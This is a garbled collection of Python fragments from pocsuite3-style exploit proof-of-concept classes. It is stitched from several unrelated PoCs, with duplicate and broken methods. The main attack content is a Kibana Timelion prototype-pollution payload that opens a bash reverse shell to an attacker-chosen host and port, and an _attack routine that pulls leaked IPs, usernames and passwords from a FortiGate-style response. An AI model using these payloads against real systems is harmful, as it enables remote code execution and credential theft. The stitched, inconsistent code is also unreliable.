def _attack(self):
response = self.send()
if "var fgt_lang =" in str(response):
data = ""
def is_character_printable(s):
# return all((ord(c) < 127) and (ord(c) >= 32) for c in s)
if ((ord(c) < 127) and (ord(c) >= 32) for c in str(s)):
return True
return False
def is_printable(byte):
if is_character_printable(byte):
return byte
else:
return '.'
for byte in response:
if byte < 127 and byte >= 32:
data += chr(byte)
elif byte == 10:
data += "\n"
else:
if data[-3::] == "...":
pass
else:
data += "."
find_data = r"\.+([0-9\.]+)\.\.\.([a-zA-Z0-9\-_]+)\.+([a-zA-Z0-9\-_]+)\.+([a-zA-Z0-9\-\_]+)\.+([a-zA-Z0-9\-_]+)\.+([a-zA-Z0-9\-_]+)"
ret = "\n"
for dIP, dUser, dPassword, dDomain, dPermission, dGroup in re.findall(
find_data, data):
if dUser not in ret:
ret += "[IP: %s] [User: %s] [Pwd: %s] [Domain: %s] [Perm: %s] [Group: %s]\n" % (
dIP, dUser, dPassword, dDomain, dPermission, dGroup)
result = {}
result['Leak'] = {}
if ret == "\n":
result['Leak']['DataLeak'] = data
else:
result['Leak']['DataLeak'] = ret
output = Output(self)
output.success(result)
return output
def _verify(self):
# 验证代码
result = {}
output = Output(self)
kibana_path = self.url + "/app/kibana"
path1 = self.url + "/app/timelion"
print(path1)
path2 = self.url + "/api/timelion/run"
payload = {
"sheet": [
".es(*).props(label.__proto__.env.AAAA='require(\"child_process\").exec(\"bash -i >& "
"/dev/tcp/" + self.get_option("ncip") + "/" +
self.get_option("ncport") +
" 0>&1\");process.exit()//')\n.props("
"label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')"
],
"time": {
"from": "now-15m",
"to": "now",
"mode": "quick",
"interval": "auto",
"timezone": "Asia/Shanghai"
}
}
resp = requests.get(kibana_path, verify=False, timeout=20)
kbn_version = ''
try:
kbn_version = resp.headers['kbn-version']
except Exception as e:
logger.info(e)
header = {
"User-Agent":
"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0",
'Accept': 'application/json, text/plain, */*',
"Accept-Language": "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3",
"Accept-Encoding": "gzip, deflate",
'Connection': 'close',
'kbn-version': kbn_version,
'Content-Type': 'application/json;charset=UTF-8'
}
respose2 = requests.post(path2,
headers=header,
data=json.dumps(payload),
verify=False,
timeout=30)
# print(respose2.status_code)
if respose2.status_code == 200 and 'invokeTime' in respose2.text: # result是返回结果
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
result['VerifyInfo']['Referer'] = ""
return self.parse_output(result)
def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('Failed')
return output
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('not vulnerability')
return output
def _verify(self):
output = Output(self)
# 验证代码
result = {
# 不管是验证模式或者攻击模式，返回结果 result 中的 key 值必须按照下面的规范来写
# [ PoC结果返回规范 ]( https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md#resultstandard )
"Result": {
"DBInfo": {
"Username": "******",
"Password": "******",
"Salt": "xxx",
"Uid": "xxx",
"Groupid": "xxx",
},
"ShellInfo": {"URL": "xxx", "Content": "xxx"},
"FileInfo": {"Filename": "xxx", "Content": "xxx"},
"XSSInfo": {"URL": "xxx", "Payload": "xxx"},
"AdminInfo": {"Uid": "xxx", "Username": "******", "Password": "******"},
"Database": {
"Hostname": "xxx",
"Username": "******",
"Password": "******",
"DBname": "xxx",
},
"VerifyInfo": {"URL": "xxx", "Postdata": "xxx", "Path": "xxx"},
"SiteAttr": {"Process": "xxx"},
"Stdout": "result output string",
}
}
if result: # result是返回结果
output.success(result)
else:
output.fail("target is not vulnerable")
return output
def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet noting return')
return output
def parse_verify(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet Nothing returned')
return output
def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail("not vulnerability")
return output
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('not MS17-010')
return output
def save_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail()
return output
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output
def parse_output(self, result):
# parse output
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet nothing returned')
return output
def parse_output(self, result={}):
output = Output(self)
if result and len(result.keys())!=0:
output.success(result)
else:
output.fail('target is not vulnerable')
return output
def parse_result(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail("Internet Nothing returned")
return output
def parse_attack(self, result):
output = Output(self)
if result:
# if result['VerifyInfo']['Path']:
output.success(result)
# output.success('Succeed')
else:
output.fail('Fail test')
return output
def _verify(self):
output = Output(self)
response = str(self.send())
if "var fgt_lang =" in response:
result = {}
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
output.success(result)
else:
output.fail('Target is not vulnerable')
return output
def _verify(self):
output = Output(self)
# 验证代码
result = {
# 不管是验证模式或者攻击模式，返回结果 result 中的 key 值必须按照下面的规范来写
# [ PoC结果返回规范 ]( https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md#resultstandard )
'Result': {
'DBInfo': {
'Username': '******',
'Password': '******',
'Salt': 'xxx',
'Uid': 'xxx',
'Groupid': 'xxx'
},
'ShellInfo': {
'URL': 'xxx',
'Content': 'xxx'
},
'FileInfo': {
'Filename': 'xxx',
'Content': 'xxx'
},
'XSSInfo': {
'URL': 'xxx',
'Payload': 'xxx'
},
'AdminInfo': {
'Uid': 'xxx',
'Username': '******',
'Password': '******'
},
'Database': {
'Hostname': 'xxx',
'Username': '******',
'Password': '******',
'DBname': 'xxx'
},
'VerifyInfo': {
'URL': 'xxx',
'Postdata': 'xxx',
'Path': 'xxx'
},
'SiteAttr': {
'Process': 'xxx'
},
'Stdout': 'result output string'
}
}
if result: # result是返回结果
output.success(result)
else:
output.fail('target is not vulnerable')
return output
def _attack(self):
output = Output(self)
result = {}
# 攻击代码
pass
